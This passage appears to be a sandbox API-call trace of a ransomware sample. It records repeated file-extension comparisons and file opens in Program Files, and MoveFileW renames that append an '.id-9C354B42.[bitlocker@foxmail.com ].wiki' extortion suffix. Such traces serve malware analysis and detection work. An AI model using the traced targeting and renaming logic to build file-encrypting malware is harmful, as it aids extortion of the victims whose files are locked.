(lpString=".xls") returned 4 [0149.192] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.192] lstrlenW (lpString=".xlsx") returned 5 [0149.192] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.192] lstrlenW (lpString=".ppt") returned 4 [0149.192] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.192] lstrlenW (lpString=".zip") returned 4 [0149.192] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.192] lstrlenW (lpString=".rar") returned 4 [0149.192] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.192] lstrlenW (lpString=".bz2") returned 4 [0149.192] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.192] lstrlenW (lpString=".7z") returned 3 [0149.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.193] lstrlenW (lpString=".dbf") returned 4 [0149.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.193] lstrlenW (lpString=".1cd") returned 4 [0149.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.193] lstrlenW (lpString=".jpg") returned 4 [0149.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.193] lstrlenW (lpString=".doc") returned 4 [0149.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString=".docx") returned 5 [0149.193] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.193] lstrlenW (lpString=".pdf") returned 4 [0149.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString=".xls") returned 4 [0149.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString=".xlsx") returned 5 [0149.193] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.193] lstrlenW (lpString=".ppt") returned 4 [0149.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.193] lstrlenW (lpString=".zip") returned 4 [0149.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.193] lstrlenW (lpString=".rar") returned 4 [0149.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString=".bz2") returned 4 [0149.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.193] lstrlenW (lpString=".7z") returned 3 [0149.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.194] lstrlenW (lpString=".dbf") returned 4 [0149.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.194] lstrlenW (lpString=".1cd") returned 4 [0149.194] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.194] lstrlenW (lpString=".jpg") returned 4 [0149.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.194] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.194] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0149.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0149.445] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=247) returned 1 [0149.445] CloseHandle (hObject=0x21c) returned 1 [0149.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0149.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.446] lstrlenW (lpString=".doc") returned 4 [0149.446] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.446] lstrlenW (lpString=".docx") returned 5 [0149.446] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0149.446] lstrlenW (lpString=".pdf") returned 4 [0149.446] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.446] lstrlenW (lpString=".xls") returned 4 [0149.446] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.446] lstrlenW (lpString=".xlsx") returned 5 [0149.446] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0149.446] lstrlenW (lpString=".ppt") returned 4 [0149.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.446] lstrlenW (lpString=".zip") returned 4 [0149.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.446] lstrlenW (lpString=".rar") returned 4 [0149.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.446] lstrlenW (lpString=".bz2") returned 4 [0149.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.446] lstrlenW (lpString=".7z") returned 3 [0149.446] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.446] lstrlenW (lpString=".dbf") returned 4 [0149.447] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.447] lstrlenW (lpString=".1cd") returned 4 [0149.447] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.447] lstrlenW (lpString=".jpg") returned 4 [0149.447] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.447] lstrlenW (lpString=".doc") returned 4 [0149.447] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString=".docx") returned 5 [0149.447] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0149.447] lstrlenW (lpString=".pdf") returned 4 [0149.447] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString=".xls") returned 4 [0149.447] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString=".xlsx") returned 5 [0149.447] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0149.447] lstrlenW (lpString=".ppt") returned 4 [0149.447] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.447] lstrlenW (lpString=".zip") returned 4 [0149.447] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.447] lstrlenW (lpString=".rar") returned 4 [0149.447] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString=".bz2") returned 4 [0149.447] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.447] lstrlenW (lpString=".7z") returned 3 [0149.447] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.447] lstrlenW (lpString=".dbf") returned 4 [0149.447] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.448] lstrlenW (lpString=".1cd") returned 4 [0149.448] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0149.448] lstrlenW (lpString=".jpg") returned 4 [0149.448] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.448] lstrcmpiW (lpString1=".wmf", lpString2=".wiki") returned 1 [0149.448] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0149.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.695] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2920) returned 1 [0149.695] CloseHandle (hObject=0x2ac) returned 1 [0149.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0149.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.696] lstrlenW (lpString=".doc") returned 4 [0149.696] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString=".docx") returned 5 [0149.696] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0149.696] lstrlenW (lpString=".pdf") returned 4 [0149.696] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString=".xls") returned 4 [0149.696] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0149.696] lstrlenW (lpString=".xlsx") returned 5 [0149.696] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0149.696] lstrlenW (lpString=".ppt") returned 4 [0149.696] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.696] lstrlenW (lpString=".zip") returned 4 [0149.696] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0149.696] lstrlenW (lpString=".rar") returned 4 [0149.696] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString=".bz2") returned 4 [0149.696] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString=".7z") returned 3 [0149.696] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0149.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.696] lstrlenW (lpString=".dbf") returned 4 [0149.696] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.696] lstrlenW (lpString=".1cd") returned 4 [0149.696] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0149.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString=".jpg") returned 4 [0149.697] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString=".doc") returned 4 [0149.697] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString=".docx") returned 5 [0149.697] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0149.697] lstrlenW (lpString=".pdf") returned 4 [0149.697] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString=".xls") returned 4 [0149.697] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0149.697] lstrlenW (lpString=".xlsx") returned 5 [0149.697] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0149.697] lstrlenW (lpString=".ppt") returned 4 [0149.697] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString=".zip") returned 4 [0149.697] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0149.697] lstrlenW (lpString=".rar") returned 4 [0149.697] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString=".bz2") returned 4 [0149.697] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString=".7z") returned 3 [0149.697] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0149.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString=".dbf") returned 4 [0149.697] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString=".1cd") returned 4 [0149.697] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0149.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0149.697] lstrlenW (lpString=".jpg") returned 4 [0149.698] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0149.698] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0149.698] lstrlenW (lpString="Notebook.jpg") returned 12 [0149.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.699] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2950) returned 1 [0149.699] CloseHandle (hObject=0x2ac) returned 1 [0149.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0149.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.699] lstrlenW (lpString=".doc") returned 4 [0149.699] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0149.699] lstrlenW (lpString=".docx") returned 5 [0149.699] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0149.699] lstrlenW (lpString=".pdf") returned 4 [0149.699] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0149.699] lstrlenW (lpString=".xls") returned 4 [0149.699] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0149.699] lstrlenW (lpString=".xlsx") returned 5 [0149.699] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0149.699] lstrlenW (lpString=".ppt") returned 4 [0149.699] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0149.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.699] lstrlenW (lpString=".zip") returned 4 [0149.699] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0149.699] lstrlenW (lpString=".rar") returned 4 [0149.699] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0149.700] lstrlenW (lpString=".bz2") returned 4 [0149.700] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0149.700] lstrlenW (lpString=".7z") returned 3 [0149.700] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0149.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.700] lstrlenW (lpString=".dbf") returned 4 [0149.700] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0149.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.700] lstrlenW (lpString=".1cd") returned 4 [0149.700] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0149.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.700] lstrlenW (lpString=".jpg") returned 4 [0149.700] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0149.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.700] lstrlenW (lpString=".doc") returned 4 [0149.700] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0149.700] lstrlenW (lpString=".docx") returned 5 [0149.700] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0149.700] lstrlenW (lpString=".pdf") returned 4 [0149.700] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0149.700] lstrlenW (lpString=".xls") returned 4 [0149.700] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0149.700] lstrlenW (lpString=".xlsx") returned 5 [0149.700] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0149.700] lstrlenW (lpString=".ppt") returned 4 [0149.700] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0149.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.700] lstrlenW (lpString=".zip") returned 4 [0149.700] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0149.700] lstrlenW (lpString=".rar") returned 4 [0149.701] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0149.701] lstrlenW (lpString=".bz2") returned 4 [0149.701] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0149.701] lstrlenW (lpString=".7z") returned 3 [0149.701] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0149.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.701] lstrlenW (lpString=".dbf") returned 4 [0149.701] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0149.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.701] lstrlenW (lpString=".1cd") returned 4 [0149.701] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0149.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0149.701] lstrlenW (lpString=".jpg") returned 4 [0149.701] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0149.701] lstrcmpiW (lpString1=".htm", lpString2=".wiki") returned -1 [0149.701] lstrlenW (lpString="Orange Circles.htm") returned 18 [0149.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.701] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=237) returned 1 [0149.702] CloseHandle (hObject=0x2ac) returned 1 [0149.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0149.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0149.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0149.702] lstrlenW (lpString=".doc") returned 4 [0149.702] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0149.702] lstrlenW (lpString=".docx") returned 5 [0149.702] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0149.702] lstrlenW (lpString=".pdf") returned 4 [0149.702] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0149.702] lstrlenW (lpString=".xls") returned 4 [0149.702] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0149.702] lstrlenW (lpString=".xlsx") returned 5 [0149.702] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0149.702] lstrlenW (lpString=".ppt") returned 4 [0149.702] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0149.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0149.702] lstrlenW (lpString=".zip") returned 4 [0149.702] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0149.702] lstrlenW (lpString=".rar") returned 4 [0149.702] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0149.702] lstrlenW (lpString=".bz2") returned 4 [0149.702] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0149.703] lstrlenW (lpString=".7z") returned 3 [0149.703] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0149.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0149.703] lstrlenW (lpString=".dbf") returned 4 [0149.703] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0161.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 